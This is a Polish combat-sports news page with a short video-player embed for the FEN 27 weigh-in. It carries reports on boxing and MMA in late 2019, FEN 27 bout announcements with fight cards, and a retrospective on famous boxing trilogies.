FEN 27 – Oficjalna Ceremonia Ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Lebiediew zakończył karierę

Były mistrz świata WBA i IBF w wadze junior ciężkiej Denis Lebiediew zakończył karierę. Pięściarz zapisał na swoim koncie 32 zwycięstwa.

Rosjanin zakończenie kariery ogłosił w lipcu 2019 roku. Pogłoski na ten temat krążyły od dłuższego czasu. Lebiediew miał zmierzyć się z Lawrencem Okoliem bądź Arsenem Goulamirianem, jednak nie otrzymał odpowiedniej propozycji i postanowił nie wchodzić do ringu, a wręcz go opuścić. Nie na długo. W listopadzie pojawiła się informacja, że Lebiediew stoczy kolejną walkę. 21 grudnia na gali w Krasnojarski Rosjanin miał zmierzyć się z Thabiso Mchunu. 31-letni bokser z Południowej Afryki swego czasu pokonał Eddi'ego Chambersa, ale przegrał zmagania o pas WBO z Oleksandrem Usykiem. Teraz Mchunu może pochwalić się sukcesem. Na liście pokonanych ma utytułowanego pięściarza, bo Lebiediew w Krasnojarsku był bezradny. Przede wszystkim pięściarz z Afryki był szybszy i skuteczniejszy. Po dwunastu rundach sędziowie punktowali na korzyść Mchunu – 119:108, 120:107, 115:112, który sięgnął po pas WBC Silver. Dla 31-latka było to trzecie zwycięstwo z rzędu. Lebiediew zaliczył nieudany powrót, bo ostatnią walkę stoczył w listopadzie 2018 w Monte Carlo, gdzie pokonał Mike'a Wilsona.

Rosjanin poniósł trzecią porażkę w karierze. Wcześniej sposób na Lebiediewa znaleźli Marco Huck i Murat Gassijew. Po porażce z Mchunu 40-latek podjął decyzję o zakończeniu kariery. – Tym razem odchodzę na dobre – powiedział pięściarz. Czy tak na pewno będzie? Ostatnio Lebiediew uległ i wrócił ze sportowej emerytury, ale ta decyzja miała bolesne konsekwencje.

40-letni pięściarz na zawodowym ringu debiutował 27 lutego 2001 roku. W Moskwie pokonał Teimuraza Kekelidze. Podczas swojej bokserskiej przygody pokonał wiele sław m.in. Roya Jonesa Juniora. W listopadzie 2011 roku Lebiediew wygrał na punkty z Jamesem Toneyem i zapisał na swoim koncie tymczasowe mistrzostwo federacji WBA. Niespełna rok później był pełnosprawnym czempionem. W maju 2016 roku zunifikował tytuły WBA i IBF wygrywając z Victorem Emilio Ramirezem. Ten drugi tytuł stracił na rzecz Gassijewa. Lebiediew został mistrzem WBA w zawieszeniu, zaś pas trafił do Yuniera Dorticosa. Rosjanin nie wystartował w turnieju WBSS i ponad rok nie prezentował się na ringu. Warto również wspomnieć, że Lebiediew rywalizował również z Polakiem Pawłem Kołodziejem, którego znokautował w drugiej rundzie starcia w Moskwie.

Fot. zdjęcie poglądowe

KM

Oczekiwanie na pasy

Rok 2019 w wykonaniu naszych zawodników rywalizujących w UFC obfitował we wzloty i upadki. Na rodzimym rynku również było ciekawie.

Była mistrzyni UFC w wadze słomkowej Joanna Jędrzejczyk w październiku pokonała Michelle Waterson. Tym samym odniosła dziesiąte zwycięstwo w amerykańskiej organizacji. Z niecierpliwością czekamy na występ Polki podczas gali UFC 248. 7 marca w Las Vegas Jędrzejczyk zmierzy się z Weili Zhang o pas w kategorii słomkowej. Tym samym "JJ" może minione dwanaście miesięcy uznać za udane i z nadzieją patrzeć w przyszłość. W odmiennym nastroju jest Karolina Kowalkiewicz. Była zawodniczka KSW w 2019 poniosła trzy porażki w UFC.

Dobra postawa Jana Błachowicza (na zdjęciu) sprawiła, że polski fighter jest w czołówce wagi półciężkiej i coraz częściej wymieniany jest w gronie kandydatów do starcia o pas. Na słowach się jednak kończy… W lutym zawodnik z Cieszyna spotka się z Corey'em Andersonem i będzie miał szansę zrewanżować się za porażkę z 2015 roku. Rywal musi się obawiać. Błachowicz pokazał w 2019 roku, że jest mocny. W lipcu w efektownym stylu w pierwszej rundzie znokautował Luke'a Rockholda. O tym pojedynku mówił cały świat. W listopadzie Polak wygrał z Ronaldo Souzą. Gdyby nie ta porażka z Thiago Santosem, pewnie wspominalibyśmy już walkę z Jonesem. Nie ma co narzekać, trzeba trzymać kciuki i czekać.

Udanie, po zawieszeniu, do rywalizacji w UFC wrócił Michał Oleksiejczuk. Popularny "Lord" w efektowny sposób wygrał dwie walki, powstrzymał go dopiero doświadczony Ovince Saint Preux. Po trzech porażkach z rzędu odrodził się Krzysztof Jotko. W 2019 roku polski zawodnik zanotował dwa zwycięstwa.

Sześć gal zorganizowało KSW. Polska organizacja zdobywała zagraniczne rynki – zaprezentowała się w Londynie i w Zagrzebiu. Pierwszoplanową postacią KSW został Scott Askham, który sięgnął po pas w wadze średniej. Wielkim wydarzeniem był powrót do rywalizacji Mameda Khalidova. W grudniu w Gliwicach pochodzący z Groznego zawodnik zmierzył się z Askhamem. Khalidow przegrał na dystansie trzech rund i poniósł trzecią porażkę z rzędu. Nieudaną próbę podboju wagi ciężkiej zaliczył Tomasz Narkun, który w marcu w Łodzi musiał uznać wyższość Phila de Friesa.

Nie próżnowały również inne organizacje. Cztery gale przygotowała federacja Fight Exclusive Night. Skuteczną obroną pasa w wadze średniej popisał się Andrzej Grzebyk. Dodatkowo zawodnik zapisał na swoim koncie tytuł w kategorii półśredniej. Pod koniec października Grzebyk wydał oświadczenie o tym, że odchodzi z FEN. Powodem były słowa prezesa Pawła Jóźwiaka o unikaniu przez mistrza walki z Danielem Skibińskim.

Interesującym wydarzeniem była gala Babilon MMA 10, która odbyła się w Kopalni Soli w Wieliczce. Po pierwsze – miejsce, po drugie – w walce wieczoru rywalizowano o pasy dwóch organizacji. Daniel Rutkowski pokonał Adriana Zielińskiego, co dało mu pasy Babilon MMA i FEN w wadze piórkowej.

W UFC formą nadal imponuje Amanda Nunes. Brazylijka zapisała się w historii jako pierwsza mistrzyni dwóch kategorii wagowych. Rok temu wywalczyła tytuł w wadze piórkowej, wcześniej posiadała pas kategorii koguciej. W ciągu minionych dwunastu miesięcy odprawiła dwie rywalki – Holly Holm i Germaine de Randamie. W czerwcu Henry Cejudo skutecznie zaatakował pas w wadze koguciej. Amerykanin w Chicago pokonał przez techniczny nokaut Marlona Moraesa.

Rok z pasa wagi ciężkiej cieszył się Daniel Cormier. Amerykanin napisał piękną historię, bo został mistrzem w dwóch kategoriach. Zrzekał się jednak pasa w wadze półciężkiej na rzecz zmagań w kategorii królewskiej. W tym roku Cormier stracił jednak tytuł. W sierpniu w czwartej rundzie pokonał go Stipe Miocić. Skończyło się panowanie Maxa Hollowaya w wadze piórkowej. 14 grudnia nowym czempionem został Alexander Volkanovski.

Fot. Jan Błachowicz Facebook

KM

Cios za ciosem

Koniec roku to czas podsumowań. Minione dwanaście miesięcy obfitowało w boksie w wiele interesujących pojedynków. Ciekawie było zwłaszcza w wadze ciężkiej.

1 czerwca w Madison Square Garden w Nowym Jorku stało się coś, czego nikt się nie spodziewał. Andy Ruiz Jr., który otrzymał szansę rywalizacji z Anthony'm Joshuą po wpadce dopingowej Jarrella Millera, pokonał czempiona przez techniczny nokaut w siódmej rundzie. Pierwsza porażka "AJ" na zawodowym ringu stała się faktem. Rewanż w Arabii Saudyjskiej na korzyść boksera z Wysp Brytyjskich. Joshua wypunktował Ruiza Jr. i wygrał na punkty, dzięki czemu pasy IBF, WBA i WBO wróciły do niego.

Wszyscy czekają na rewanżowe starcie Deontaya Wildera i Tysona Fury'ego, które zaplanowano na 22 lutego 2020 roku. Ponad dwanaście miesięcy temu rywalizacja pięściarzy zakończyła się remisem. W ciągu ostatniego roku obaj nie próżnowali. Mistrz WBC Wilder w maju w pierwszej rundzie odprawił Dominica Breazeale'a, zaś w listopadzie w siódmej odsłonie znokautował Luisa Ortiza, choć wcześniej Kubańczyk prezentował się lepiej. Tyson Fury również dołożył do swojego rekordu dwa zwycięstwa. Olbrzym z Wilmslow odprawił Toma Schwarza i Otto Wallina.

Z uwagą śledziliśmy kolejne występy Adama Kownackiego. 30-latek urodzony w Łomży pokonał znanych Geralda Washingtona i Chrisa Arreolę. Wydaje się, że Polak może myśleć o walce o pas. W ostatnim czasie mówiło się o pojedynku Kownackiego z Kubratem Pulewem o pas IBF. W tej kwestii wiele zależy od Joshuy – czy będzie chciał bronić tytułu.

Wiele emocji wywołała walka Krzysztofa Głowackiego z Mairisem Briedisem w półfinale turnieju World Boxing Super Series. W Rydze Łotysz zachował się skandalicznie. Briedis uderzył Głowackiego łokciem, potem trafił go po gongu. Pojedynek zakończył się w trzeciej rundzie na korzyść łotewskiego pięściarza. Ten w całej sytuacji nie widział problemów. Polski obóz odwoływał się od niesportowego zachowania Łotysza. Cierpliwość popłacała – władze WBO nakazały rewanż, Briedis nie podjął jednak rękawicy i nie przystąpił do rozmów. Tym samym boksera pozbawiono tytułu. O pas Głowackie ma zmierzyć się z Lawrence'm Okolie.

Tempa nie zwalnia 41-letni Manny Pacquiao. W styczniu Filipińczyk pokonał Adriana Bronera, a w lipcu wygrał z Keithem Thurmanem i sięgnął po pas wagi półśredniej WBA. Nie do zatrzymania jest Terence Crawford. Amerykanin skutecznie broni pasa WBO w wadze półśredniej. W 2019 roku nie sprostali mu Amir Khan i Egidijus Kavaliauskas.

Kolejne wyzwanie podjął Saul Alvarez. Rok temu Meksykanin pokonał Rocky'ego Fielding i zdobył tytuł WBA w wadze super średniej. Tym samym zapisał na swoim koncie pas w trzeciej kategorii. W 2019 roku postanowił wrócił do wagi średniej. W T-Mobile Arenie w Las Vegas "Canelo" pokonał na punkty Daniela Jacobsa i zunifikował tytuły WBC, WBA i IBF. Alvarezowi było mało sukcesów, a więc powziął za cel zdobycie trofeum. 2 listopada w MGM Grand w Las Vegas spotkał się z Sergiejem Kowaliowem w starciu o pas WBO wagi półciężkiej. Meksykanin zwyciężył przez techniczny nokaut w jedenastej odsłonie.

W kategorii lekkiej niepodzielnie panuje Wasyl Łomaczenko. 31-letni Ukrainiec w sierpniu zunifikował pas WBC, WBA oraz WBO pokonując Luke'a Campbella. Było to czternaste zwycięstwo Łomaczenki w karierze. Ponad rok na sukces musiał czekać Giennadij Gołowkin. Co prawda w czerwcu pokonał Steve'a Rollsa, ale po ubiegłorocznej porażce z Alvarezem nadal pozostawał bez pasów. W październiku Kazach zdobył tytuły IBF i IBO wagi średniej pokonując Sergieja Derewianczenkę.

W marcu Kamil Szeremeta obronił mistrzostwo Europy, a w październiku udanie zadebiutował w Stanach Zjednoczonych pokonując Oscara Cortesa. W przyszłym roku Polak ma rywalizować z Gołowkinem. Pojedynek prawdopodobnie odbędzie się na przełomie lutego i marca.

Szansy na zdobycie mistrzowskiego pasa WBO nie wykorzystał Maciej Sulęcki. Demetrius Andrade pewnie pokonał Polaka na punkty – trzy raz po 120:107.

Fot. pixabay

KM

 

Kownacki czeka na Joshuę

Adam Kownacki cierpliwie czeka na ruch Anthony’ego Joshuy w sprawie pasa IBF. Wiadomo, że „Baby Face” wróci na ring na przełomie lutego i marca.

W kończącym się roku Kownacki pokonał Geralda Washingtona i Chrisa Arreolę. Polaka wymieniało się jako jednego z kandydatów do rywalizacji z Joshuą po wpadce dopingowej Jarrella Millera. „AJ” spotkał się z Andy’m Ruizem Jr. i stracił pasy mistrzowskie, ale w rewanżu w Arabii Saudyjskiej je odzyskał. Kownackiego interesuje zwłaszcza tytuł IBF. Akcje Polaka w rankingu stoją wysoko, wyprzedza go tylko Kubrat Pulew. – Miałem nadzieję, że będę miał jakieś konkrety z walką. Niestety ich nie mam. Czekam na ruch Joshuy, co zrobi z pasem IBF –  odda czy będzie bronił? – powiedział Kownacki w AK Show. –  W mediach mówią, że może to będzie tytuł WBO, jednak dają na to małe szanse. Myślę, że to taktyka medialna, żeby pchać Pulewa do tej walki. Zobaczymy, co się stanie – dodaje pięściarz.

Kownacki trenuje i cierpliwe czeka. Wie, że jego akcje stoją wysoko i szansa na walkę o pas mistrzowski jest na wyciągnięcie ręki. Bez wątpienia Polak jest jednym z czołowych pięściarzy wagi ciężkiej i w efektownym stylu pokonuje kolejnych rywali. Wiele wskazuje na to, że najpierw Joshua zmierzy się z Pulewem. Dopóki nic nie jest pewne, trzeba mieć nadzieję. – Czekam na swoje. Nie chcę czegoś ustalić jeszcze z drużyną. Później okaże się, że jest szansa na tytuł, a ja będę miał coś ustawione. Na razie czekam. Wiem, że walka będzie koniec lutego bądź początek marca. Trenuję już jakieś 10-12 tygodni – wyjaśnia 30-letni bokser.

Niewykluczone, że najbliższym rywalem Kownackiego będzie Dominic Breazeale. 34-letni pięściarz szuka kolejnych wyzwań po nieudanej próbie zdobycia pasa WBC. W maju w Barclays Center Breazeale przegrał w pierwszej rundzie z Deontayem Wilderem. Ponad trzy lata temu Amerykanin walczył z Joshuą o pas IBF, jednak bez efektu. 34-latek dotrwał do siódmej rundy. W swojej karierze Breazeale pokonał m.in. Izuagbe Ugonoha, Erica Molinę czy Freda Kassiego.

Fot. Adam Kownacki Instagram

KM

 

Hit coraz bliżej?

Scott Askham i Tomasz Narkun zmierzą się na KSW 53? To niewykluczone. Obaj wyrazili gotowość do rywalizacji.

31-letni Anglik coraz śmielej poczyna sobie w polskiej organizacji. Askham debiut w KSW zaliczył w marcu 2018 roku w Łodzi, kiedy to już w pierwszej rundzie znokautował Michała Materlę. Były zawodnik UFC przebojowo rozpoczął przygodę z federację Martina Lewandowskiego i Macieja Kawulskiego, a później pokazał, że nie był to przypadek. Anglik wziął udział w turnieju w wadze średniej, który miał wyłonić nowego mistrza tej kategorii. W półfinale Askham w niewiele ponad minutę uporał się z Marcinem Wójcikiem. O pas Anglikowi przyszło rywalizować z Materlą. Polak chciał się zrewanżować za porażkę i walczył ambitnie, jednak 31-latek okazał sęę lepszy. W trzeciej rundzie Askham znokautował Materlę latającym kolanem i sięgnął po pas mistrzowski. To kolejne sukcesy w karierze zawodnika urodzonego w Hemsworth. Wcześniej był mistrzem BAMMA oraz Ultimate Cage FC.

Rozpędzony Askham w kolejnej walce w KSW spotkał się z legendą organizacji Mamedem Khalidovem. Dla byłego czempiona wagi średniej był to powrót po trudnych przejściach. Khalidov chciał się przełamać po dwóch porażkach z Tomaszem Narkunem, ale ta sztuka nie udała mu się. 7 grudnia podczas KSW 52: Race ręce w geście triumfu wzniósł Scott Askham.

Anglik wyrósł na gwiazdę KSW i szuka kolejnych wyzwań. Po walce z Khalidovem, zwrócił się w sprawie ewentualnej rywalizacji do mistrza kategorii półciężkiej Tomasza Narkuna. Popularny "Żyrafa" ma mocną pozycję w KSW. Narkun chciał sięgnąć po drugi pas mistrzowski, ale w marcu w Łodzi lepszy okazał się Phil de Fries i to on dzierży tytuł w kategorii ciężkiej. Narkun pokonał ostatnio przez duszenie gilotynowe Przemysława Mysiałę.

Starcie Askhama i Narkuna miałoby być superfightem. Polak wyraził gotowość do startu, ale w całej sytuacji zabrakło konkretów. Z pomocą przyszły… media społecznościowe. 21 grudnia Narkun zamieścił krótkie nagranie z treningu. Askham zaproponował starcie na KSW 53 komentując, że to bliski termin, ale będzie gotowy. "Chyba, że masz inne plany na ten wieczór… to spoko" – odpisał "Żyrafa". Z kolei Askham zaapelował do właścicieli KSW, aby zajęli się sprawą. Wielki hit już w marcu?

KM

Joniak w miejsce Wojtasa na FEN 27

Mariusz Joniak (5-4, 5 SUB) zastąpi Igora Wojtasa podczas gali FEN 27 w Szczecinie. Zawodnik z Dzierżoniowa zmierzy się 18 stycznia z Patrykiem Trytkiem (2-0, 2 KO).

Joniak 18 stycznia galą w Szczecinie zadebiutuje na FEN, a pojedynek z Trytkiem będzie największym wyzwaniem w jego dotychczasowej karierze. 22-latek trenuje pod okiem Sławomira Grabowskiego i znakomita baza parterowa pomogła mu zanotować pięć zwycięstw przez poddania swoich rywali. W sierpniu tego roku Joniak pokazał się ze znakomitej strony i pewnie pokonał Piotra Olszynkę. Dokładnie w ten sam sposób, techniką „północ-południe”, styczniowy debiutant rozprawił się dwa lata wcześniej z Aleksanderem Kellerem.

Trytek to reprezentant Berserkers Team Szczecin, który na zawodowstwie zadebiutował w czerwcu 2018 roku, kiedy przez nokaut w 1. rundzie wygrał z Robertem Gromadą. Maj kolejnego roku był dla niego równie udany, gdyż także przez nokaut rozprawił się z Ukraińcem, Mikhailem Kurchem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA

61,2 KG, MMA: Sebastian Romanowski VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA

77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski

61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vilson Junior dla Romanowskiego na FEN 27

Vilson Junior (11-4-1, 6 KO, 2 SUB) zmierzy się z Sebastianem Romanowskim (13-8-1, 4 KO, 2 SUB) podczas gali FEN 27 w Szczecinie. Reprezentant Kraju Kawy przywita się tym samym z federacją debiutując na polskiej ziemi.

Vilson Junior lubi często kończyć walki przed czasem, o czym przekonało się aż ośmiu rywali, których pokonywał przez nokauty i poddania. Na przełomie 2017 i 2018 roku Brazylijczyk miał serię czterech kolejnych zwycięstw na swoim koncie. 24-latek na zawodowstwie jest od 2014 roku i pierwszych pięć swoich pojedynków wygrał. W 2019 roku przegrał po bardzo dobrym pojedynku z Olexandrem Pletenko w co-main evencie gali WWFC 16, która odbyła się w Kijowie.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Kowalski dla Janusza w przedostatnim kroku po pas

Adam Kowalski (11-5, 2 KO, 3 SUB) będzie rywalem Wojciecha Janusza (8-4, 3 KO, 2 SUB) w pojedynku, który będzie 18 stycznia co-main eventem gali FEN 27 w Szczecinie. Będzie to eliminator do walki o pas mistrzowski FEN w kategorii półciężkiej.

Kowalski na zawodowstwo przeszedł bardzo dawno temu, bo w 2011 roku, gdy przez poddanie pokonał Kacpra Dzikiewicza. Na swoim rozkładzie ma ponadto takich fighterów, jak Szymon Piątkowski, Ireneusz Cholewa i Arkadiusz Jędraczka. W październiku 2018 roku Kowalski w 1. rundzie przez TKO zwyciężył z Wojciechem Orłowskim. Podczas debiutu pod szyldem FEN poddał w 1. rundzie Rafała Kijańczuka.

Janusz jest napędzony czterema kolejnymi zwycięstwami z rzędu. Ze znakomitej strony zawodnik Berserkers Team Szczecin pokazał się podczas gali FEN 25, gdy znokautował Michała Gutowskiego w 1. rundzie.

Janusz był wielokrotnym mistrzem Polski w brazylijskim jiu-jitsu i mistrzem Polski ADCC w Submission Fighting. „Kulkinio” udanie debiutował na FEN 7 Real Combat w Bydgoszczy, pokonując błyskawicznie Andrzeja Piątkowskiego. Miesiąc wcześniej wygrał poddał 1. rundzie Krzysztofa Pietraszka. Ponownie z Pietraszkiem skonfrontował się w październiku 2018 roku i walka zakończyła się w ten sam sposób – poddaniem Janusza. Zawodnik ze Szczecina stoczył w swojej karierze trzyrundowe boje z Michałem Oleksiejczukiem i Marcinem Wójcikiem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Dourthe rywalką Lubońskiej na FEN 27

Eva Dourthe (4-3, 1 SUB) będzie 18 stycznia w Szczecinie rywalką Katarzyny Lubońskiej (7-2, 2 SUB) podczas gali FEN 27. Zawodniczka z Francji zadebiutuje tym samym pod szyldem federacji.

Dourthe stosunkowo krótko przebywa na zawodowstwie, gdyż debiut zaliczyła w marcu 2017 roku. Pierwsze trzy pojedynki padły łupem Francuzki, która dwukrotnie zwyciężyła na pełnym dystansie, a raz poddała swoją rywalkę w 3. odsłonie pojedynku. Pod koniec 2018 roku Dourthe wygrała z Mayarą Thays po trzech rundach dzięki jednogłośnej decyzji sędziów.

Lubońska zwyciężyła w czerwcu 2019 roku w Ostródzie podczas swojego debiutu na FEN. Zawodniczka pochodząca z Piły to jedna z najlepszych kobiet w Polsce mieszanych sztuk walki. Lubońska trenuje w uznanym poznańskim klubie Czerwony Smok i tam szlifuje swoje umiejętności.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Rosyjski olbrzym Kiser rywalem Sianosa w Szczecinie

Aleksey Kiser (10-4, 8 KO, 2 SUB) będzie rywalem Marcina Sianosa (4-4, 4 KO) podczas gali FEN 27 w Szczecinie. Będzie to debiut rosyjskiego olbrzyma w klatce FEN.

Kiser wszystkie swoje 10 zwycięstw zanotował przed czasem ośmiokrotnie nokautując swoich przeciwników i dwukrotnie ich poddając. Fighter z Orenburga może pochwalić się pięcioma kolejnymi zwycięstwami przed czasem i tylko jedno z nich wyszło poza pierwszą rundę. Co bardzo ważne – Kiser wszystkie te pojedynki stoczył w 2019 roku. Jego ostatnią „zdobyczą” jest Shamil Shmulev, którego znokautował po niespełna trzech minutach walki.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Aleksey Kiser
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Bokserska trylogia

22 lutego w Las Vegas rękawice skrzyżują Deontay Wilder i Tyson Fury. Dla obu pięściarzy będzie to druga walka, ale wcale nie oznacza, że ostatnia. Prawdopodobnie latem pięściarze stoczą trzeci pojedynek.

Boks to wielkie emocje i zacięta rywalizacja o zwycięstwo. Ten, który wygra staje się bożyszczem tłumów. Bez dwóch zdań taki charakter ma rewanżowe starcie Wildera z Fury’m. Po lutowej walce jeden z nich będzie noszony na rękach i wzniesie w górę pas mistrzowski WBC, który należy do Amerykanina. Słychać już, że starcie w Las Vegas to odcinek drogi czekającej pięściarzy. Promotor Fury'ego Franek Warren zapowiedział, że "Olbrzym z Wilmslow" spotka się z obecnym czempionem WBC po raz trzeci. Ma nastąpić to latem 2020 roku. Takie są zapisy kontraktu pomiędzy stronami.

W boksie często pięściarze pałają chęcią rewanżu. Niejednokrotnie dochodzi do kolejnych walk, a zawodnicy piszą piękne historie. Trylogia w świecie boksu to nic nowego. Być może na naszych oczach rodzi się historia, o której za lat naście wszyscy będą mówić z wypiekami na twarzy. Dziś w taki sposób wspominamy przepiękną rywalizację Muhammada Aliego z Joe Frazierem. 8 marca 1971 roku doszło do walki stulecia. W Madison Square Garden spotkało się dwóch niepokonanych pięściarzy. Przed pojedynkiem nie brakowało prowokacji i cierpkich słów. W ringu Ali i Frazier stworzyli prawdziwe widowisko. Złoty medalista igrzysk olimpijskich w Rzymie zaliczył deski! 15-rundowy pojedynek zakończył się triumfem Fraziera, który wygrał jednogłośnym werdyktem sędziów. Rewanż miał miejsce w styczniu 1974 roku. Przed pojedynkiem nie brakowało emocji, ale ich szczyt miał miejsce w studiu telewizyjnym, gdzie doszło do bójki pięściarzy. W ringu – 12 rund i zwycięstwo Aliego. Trzecie starcie odbyło się 1 października 1975 roku na Filipinach. Przed pojedynkiem Ali nie szczędził cierpkich słów rywalowi. Frazier zapewniał, że w ringu odpłaci się przeciwnikowi. Walka miała niezwykle emocjonujący przebieg, w którym dominowały ciosy z obu stron. Niesamowita kondycja, siła i wola rywalizacji. Trener Fraziera zabronił mu wyjść do ostatniej rundy. Po starciu Ali podkreślał, że rywal jest wielkim bokserem. Ten pojedynek przez wielu uznawany jest za najlepszą walkę w historii.

Mówiąc o trylogiach bokserskich warto wskazać na inną rywalizację w wadze królewskiej. Wielkie emocje wzbudziły zmagania Riddicka Bowe'go z Evanderem Holyfieldem. Pierwsze starcie w listopadzie 1992 roku wygrał srebrny medalista igrzysk z Seulu, który zdobył pasy WBC, WBA i IBF. Rok później doszło do rewanżu. Holyfield okazał się lepszy i sięgnął po tytuły. Trzecie starcie miało miejsce w listopadzie 1995 roku. Bowe w szóstej rundzie znalazł się na deskach, ale wstał i walczył dalej. W ósmej odsłonie to on mógł świętować zwycięstwo.

Fajnie wspominać i ekscytować się niezapomnianymi pojedynkami. Z niecierpliwością czekamy na drugie starcie Wildera i Fury’ego. 1 grudnia 2018 roku pięściarze stworzyli ciekawe widowisko. Zwłaszcza Fury zaskoczył świat i samego mistrza. Ociężały Brytyjczyk, który wrócił do zmagań po wielu perypetiach dał pokaz boksu na wysokim poziomie. Walka ostatecznie zakończyła się remisem. Fury ma mistrzowskie aspiracje. 22 lutego może zdegradować Wildera. A jeśli nie teraz to może latem? Czekamy na trylogię, ale taką napisaną w pięknym stylu – w ringu, a nie tylko poza nim.

Fot. Tyson Fury Facebook

KM

Koniec przygody?

W Las Vegas Oskar Piechota poniósł trzecią porażkę z rzędu w UFC. "Imadło" nie ukrywa, że może to być koniec jego przygody z amerykańską organizacją.

To nie tak miało wyglądać. Podczas gali UFC 245 Oskar Piechota chciał przełamać złą passę. Wcześniej przegrał z Geraldem Meerschaertem i Rodolfo Vieirą. Na wygraną w UFC polski zawodnik czeka ponad dwadzieścia miesięcy! Punahele Soriano debiutował w amerykańskiej organizacji w Las Vegas i chciał pokazać, że zasłużył na angaż. Pragnienie Piechoty było zgoła inne – wygrać i przedłużyć swoją przygodę z UFC.

Walka potoczyła się bardzo szybko. Po jednym z krótkich ciosów Hawajczyka, Polak padł na deski. W parterze Piechota próbował kimury, ale bez efektu. Pojedynek wrócił do stójki i Soriano wypuścił lewy sierpowy, który zamroczył "Imadło". Polak osunął się na ziemię, a Amerykanin zadał kolejne ciosy. Sędzia przerwał walkę. Trzecia porażka z rzędu Polaka w UFC stała się faktem. Kolejna przed czasem. Z tym, że dwie wcześniejsze zakończyły się w drugich odsłonach. Pojedynek z Soriano trwał nieco ponad trzy minuty.

